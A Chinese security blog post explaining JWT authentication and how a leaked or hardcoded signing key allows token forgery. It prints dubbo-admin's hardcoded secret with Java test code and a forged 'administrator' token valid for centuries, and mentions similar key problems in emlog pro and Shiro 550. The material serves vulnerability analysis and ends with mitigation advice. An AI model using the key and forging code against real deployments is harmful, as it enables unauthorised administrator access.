当前位置: 首页 > news >正文

JSON Web Token 默认密钥 身份验证安全性分析 dubbo-admin JWT硬编码身份验证绕过

引言

在web开发中,对于用户认证的问题,有很多的解决方案。其中传统的认证方式:基于session的用户身份验证便是可采用的一种。

基于session的用户身份验证验证过程: 用户在用进行验证之后,服务器保存用户信息返回sessionid,客户端携带sessionid可向服务器确认自己的身份。 这种认证方式也有着诸多缺点: 用户凭证数据存储在服务端,随着用户的增多,服务端压力增大;在分布式架构下用户凭证需要在服务器与服务器之间交换进行session的同步,否则只能用户挨个对服务器进行认证,这给服务器或者用户带来不便,可扩展性不强。

而基于JSON Web Token 的认证方式则完全可以解决这一问题,它利用了加密技术对用户的信息做签名认证,这使得服务端只需采用相同的算法密钥对,无需进行用户凭证信息的交换就可以完成用户的认证。

基于JSON Web Token 的用户身份验证验证过程: 采用json数据的格式分三个部分进行base64编码,header:声明所使用的算法,payload:存放用户关键信息 signatue:对header与payload进行算法签名, 将这三个部分base64编码用用逗号作为分隔,作为单独的header头返回给用户。 那么当用户需携带着jwt token向后端验证自己的身份时,如果通过了签名认证算法,就可以引用用户的关键信息来证明的用户的相应身份。

JWTtoken应用示例
import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.exceptions.JWTDecodeException;
import com.auth0.jwt.exceptions.JWTVerificationException;
import com.auth0.jwt.interfaces.DecodedJWT;
import jdk.internal.dynalink.beans.StaticClass;
​
import java.util.Date;
public class JwtTokenGenerator {static String secretKey = "secretKey123";//密钥static String issuer = "cn";public static String generateToken(String userId, String username) {Date now = new Date();Date expiryDate = new Date(now.getTime() + 3600000); // 设置过期时间为1个小时后Algorithm algorithm = Algorithm.HMAC256(secretKey);//设置算法及密钥String token = JWT.create().withIssuer(issuer)//发布人.withClaim("userId", userId)//数据 "usrid:xxxxx".withClaim("username",username).withIssuedAt(now)//发布时间.withExpiresAt(expiryDate)//到期时间.sign(algorithm);//return token;}
​
​public static void main(String[] args) {String token = generateToken("2233","admin");System.out.println("生成JWTtoken:"+token);
​// 验证Tokenboolean isValid = verifyToken(token);System.out.println("Token is valid: " + isValid);
​// 解析Token获取数据UserInfo userInfo  = getUserInfoFromToken(token);
​if (userInfo != null) {System.out.println("User ID: " + userInfo.getUserId());System.out.println("Username: " + userInfo.getUsername());} else {System.out.println("Invalid token or decoding error.");}
​}// 验证Tokenpublic static boolean verifyToken(String token) {try {Algorithm algorithm = Algorithm.HMAC256(secretKey);JWTVerifier verifier = JWT.require(algorithm).withIssuer(issuer).build(); // Reusable verifier instanceDecodedJWT jwt = verifier.verify(token);// 验证通过return true;} catch (JWTVerificationException exception) {// 验证失败return false;}}
​// 解析Token获取其中的数据public static UserInfo getUserInfoFromToken(String token) {try {Algorithm algorithm = Algorithm.HMAC256(secretKey);JWTVerifier verifier = JWT.require(algorithm).build();DecodedJWT jwt = verifier.verify(token);
​String userId = jwt.getClaim("userId").asString();String username = jwt.getClaim("username").asString();
​return new UserInfo(userId, username); // Assuming UserInfo class holds userId and username} catch (JWTDecodeException | IllegalArgumentException exception) {// Invalid token or decoding exceptionreturn null;}}
}

运行结果

生成JWTtoken:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMTgyMzc4MiwidXNlcklkIjoiMjIzMyIsImlhdCI6MTcyMTgyMDE4MiwidXNlcm5hbWUiOiJhZG1pbiJ9.PvLJgRpcVa0sTimuyIHA6yBbuu9qFW4YspdUfKNGctg Token is valid: true User ID: 2233 Username: admin

这是base64的解码

{"typ":"JWT","alg":"HS256"}.{"iss":"cn","exp":1721823782,"userId":"2233","iat":1721820182,"username":"admin"}.>òɁ\U­,N)®ÈÀë [ºïjn²—T|£FrØ

内部逻辑调试

调试一下 看一下逻辑

JWTCreator内部静态类Builder#sign方法 向payloadClaims放入用户信息等其他信息(本次测试放入的是username与userid)

JWTCreator内部静态类Builder#sign方法 向headerClaims放入 alg与typ ,声明算法类型

JWT的构造方法

JWTCreator 生成相应headerClaims与payloadClaims的headerJson与payloadJson

private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {this.algorithm = algorithm;
​try {this.headerJson = mapper.writeValueAsString(headerClaims);this.payloadJson = mapper.writeValueAsString(new ClaimsHolder(payloadClaims));} catch (JsonProcessingException var5) {JsonProcessingException e = var5;throw new JWTCreationException("Some of the Claims couldn't be converted to a valid JSON format.", e);}
}

 签名方法 algorithm会对headerJson和payloadJson进行签名,最后三个部分都返回base64编码字符串

private String sign() throws SignatureGenerationException {String header = Base64.getUrlEncoder().withoutPadding().encodeToString(this.headerJson.getBytes(StandardCharsets.UTF_8));String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(this.payloadJson.getBytes(StandardCharsets.UTF_8));byte[] signatureBytes = this.algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);return String.format("%s.%s.%s", header, payload, signature);
}

最终是完成JWTtoken的生成返回给用户

 

思考这个机制存在的问题 !
1.修改payloadJson信息伪造token

伪造用户 3344 root 生成base64编码

伪造用户token

ForgeryToken:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMTgyMzc4MiwidXNlcklkIjoiMzM0NCIsImlhdCI6MTcyMTgyMDE4MiwidXNlcm5hbWUiOiJyb290In0=.PvLJgRpcVa0sTimuyIHA6yBbuu9qFW4YspdUfKNGctg

经过测试在进行verify签名认证时,伪造的token会抛出异常。当然也有那种不做verify签名直接取用户的信息就能教你挖src的文章,这种就属于后端完全没有校验签名。

2.修改headerJson信息伪造token

看过一些文章尤其是一些ctf的题,有讲解修改headerJson可能会改变签名算法,比如改成公私钥算法,将公钥放到headerJson,那么自己用私钥做的签名公钥自然而然可以进行解钥认证,有些ctf题甚至在headerJson把密钥信息泄露出来。从技术上来说这些的确可以实现,jwt 的headerJson 也是为了不用集群多用户的各种需求设计了很多功能字段,它们在正确的使用下是可以做到完全安全的。 ​ 本示例中Algorithm对象的生成是固定的,没有因前端传来的值而相应做出改变,没有对headerJson进行进一步判断处理。所以本示例中你想拿headerJson去做一些文章是没有结果的。

这点可以参考JWT认证攻击详解总结 - 渗透测试中心 - 博客园

3.密钥泄露或者系统默认密钥

 

假如我们的密钥泄露了,那我们就可以正常的程序生成正常的jwt token 完成verify签名

下面是我们在得知secretKey的情况下伪造用户 3344 root

生成程序

    public static String generateForgeryToken() {Date now = new Date();Date expiryDate = new Date(now.getTime() + 999999999); // 设置过期时间为无限期Algorithm algorithm = Algorithm.HMAC256("secretKey123");//密钥泄露String ForgeryToken = JWT.create().withIssuer(issuer)//发布人.withClaim("userId", "3344")//数据 伪造.withClaim("username","root")//数据 伪造.withIssuedAt(now)//发布时间.withExpiresAt(expiryDate)//.sign(algorithm);//return ForgeryToken;}

生成伪造token

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMjkwODQ3NSwidXNlcklkIjoiMzM0NCIsImlhdCI6MTcyMTkwODQ3NSwidXNlcm5hbWUiOiJyb290In0.Ur3gXKTKV9wYnHnegHdGMxAVPLwFxcRHx_vO9EmrR7Q

用程序验证

成功伪造了用户 334 root 这样程序就会执行后面的操作,达到未授权访问的效果

实战dubbo-admin JWT硬编码身份验证绕过

 

硬编码

用户登录逻辑

org/apache/dubbo/admin/controller/UserController.java#login()

  跟入generateToken

这里我们重点关注前面所使用的secret,找到它使用的密钥

 

 

 我们可以在本地测试一下生成token的函数 与验证token的函数

伪造用户administrator 将过期时间调到几百年之后。

 

测试代码

@Test
public void ForgeryTokentest() {Map<String, Object> claims = new HashMap<>(1);claims.put("sub", "administrator");String ForgeryToken = Jwts.builder().setClaims(claims).setExpiration(new Date(System.currentTimeMillis() + 9999999999999999l)).setIssuedAt(new Date(System.currentTimeMillis())).signWith(defaultAlgorithm, "86295dd0c4ef69a1036b0b0c15158d77").compact();System.out.println(ForgeryToken);

生成的伪造token

eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjEwMDAxNzIxOTkzMTQwLCJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzIxOTkzMTQwfQ.UsUNLgmLq9wRbcPR_ERM7X-Bw6q3P6MrMBR6QilZLhbDHC59BTw3FBCWzORjUt_tuAWPevxmG2YH8JtPe6EGUw
验证用户token逻辑

web接口进入拦截器

 进入authentication认证方法

authentication取出header头中Authorization的值将它传入工具jwtTokenUtil类的canTokenBeExpirarion方法

 

canTokenBeExpirarion使用了jwt的机制对用户token进行了验证。 根据代码逻辑,我们只需用canTokenBeExpiration方法用验证的我们伪造的token即可证明漏洞。

且通过调试,证明这个token时间是非常的长 

 

测试代码

    String secret = "86295dd0c4ef69a1036b0b0c15158d77";@Testpublic void verifyTokentest() {
/*        JwtTokenUtil jwtTokenUtil = SpringBeanUtils.getBean(JwtTokenUtil.class);Boolean isValid = jwtTokenUtil.canTokenBeExpiration("eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE3MjE5MTA4MzIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3MjE5MDk4MzJ9.qO__fIG1aFImGpZ4qajUuG8w9kcH6l6FgbDsDAEC-9ftLePDsREWJzodMcKpn7sgbqdDhIQ5MxuTSw40q34McA");System.out.println("Token is valid: " + isValid);*/Claims claims;try {claims = Jwts.parser().setSigningKey(secret).parseClaimsJws("eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjEwMDAxNzIxOTkzMTQwLCJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzIxOTkzMTQwfQ.UsUNLgmLq9wRbcPR_ERM7X-Bw6q3P6MrMBR6QilZLhbDHC59BTw3FBCWzORjUt_tuAWPevxmG2YH8JtPe6EGUw").getBody();final Date exp = claims.getExpiration();if (exp.before(new Date(System.currentTimeMillis()))) {
​System.out.println("token验证过期");}System.out.println("token验证成功");} catch (Exception e) {System.out.println("token验证发生异常");e.printStackTrace();
扩展 emlog pro 版本 2.3.4 存在会话(AuthCookie)持久性和任何用户登录漏洞

这个系统中setAuthCookie的代码逻辑如下

这段逻辑与jwt生成token的原理非常类似

使用$user_login 和 $expiration 作为生成key, 之后在将key 与 $user_login 和 $expiration 作为种子生成用与签名的hash

同样的问题是如果AUTH_KEY 是默认的或者泄露了,那么它就会造成jwt一样的问题。

在知道密钥的情况下,我们只需用的同样的代码流程,改变用户信息,改变过期时间即可有一个合法的且永不过期的用户token

参考:

https://github.com/ssteveez/emlog/blob/main/emlog%20pro%20version%202.3.4%20has%20session(AuthCookie)%20persistence%20and%20any%20user%20login%20vulnerability.md 

扩展 Shiro 550 硬编码问题

Shiro 550本质上就是硬编码的问题。Shiro 密钥在出厂的时候写死在了代码中,这也就导致了系统变相的密钥泄露,而又因为shiro验证用户cookie的机制有了反序列化的这一动作。这就使得反序列化漏洞在这一场景中有了用武之地。讨论Shiro 不出网,绕过等问题,本质上就是讨论Shiro 可以进行哪些反序列化操作的问题。

参考JAVA安全之Shrio550-721漏洞原理及复现_shiro550和shiro721的区别-CSDN博客

总结

虽然JWT密钥面临着可能被泄露的问题,但这并不代表着它不足够安全。除了使用随机密钥的方式启动服务外,我们还可以结合传统的方法来进行改造,那就是采用redis缓存技术,将用户的token值作为value在redis存储备份,再将相应的key传回给用户,用户只需传递key值就能进行认证,各个服务器也都能够取出来对应key的value值,去验证用户token是否合法,这样也避免了密钥泄露的问题!

 

 

相关文章:

  • 【2025软考高级架构师】——2024年05月份真题与解析
  • 数据采集文氏管旋风高效湿式除尘器文丘里旋风除尘组合实验装置
  • MFiX(Multiphase Flow with Interphase eXchanges)软件介绍
  • 从 AWS Marketplace 开始使用 AssemblyAI 的语音转文本模型构建语音智能
  • 架构思维:使用懒加载架构实现高性能读服务
  • 工业认知智能:从数据分析到知识创造
  • 【PostgreSQL数据分析实战:从数据清洗到可视化全流程】2.2 多表关联技术(INNER JOIN/LEFT JOIN/FULL JOIN)
  • 单细胞测序数据分析试验设计赏析(二)
  • TFQMR和BiCGStab方法比较
  • 如何在 PowerEdge 服务器上设置 NIC 分组
  • AI 编程日报 · 2025 年 5 月 04 日|GitHub Copilot Agent 模式发布,Ultralytics 优化训练效率
  • 【C++】哈希表
  • strstr()和strpbrk()函数的区别
  • 自闭症谱系障碍儿童的灰质与白质之间的异常功能协方差连接
  • function包装器的意义
  • 解决 Builroot 系统编译 perl 编译报错问题
  • 正态分布习题集 · 答案与解析篇
  • 过采样处理
  • P3469 [POI 2008] BLO-Blockade
  • 【PyTorch完全指南】从深度学习原理到工业级实践
  • 中小企业数字化转型的破局之道何在?
  • 浙江医生举报3岁男童疑遭生父虐待,妇联:已跟爷爷奶奶回家
  • 执掌伯克希尔60年,股神巴菲特宣布年底交出最终决定权:阿贝尔将接任CEO
  • 马上评|提供情绪价值,也是文旅经济的软实力
  • 抗战回望15︱《五月国耻纪念专号》:“不堪回首”
  • 国家能源局:鼓励各地探索深远海、沙戈荒等可再生能源制氢场景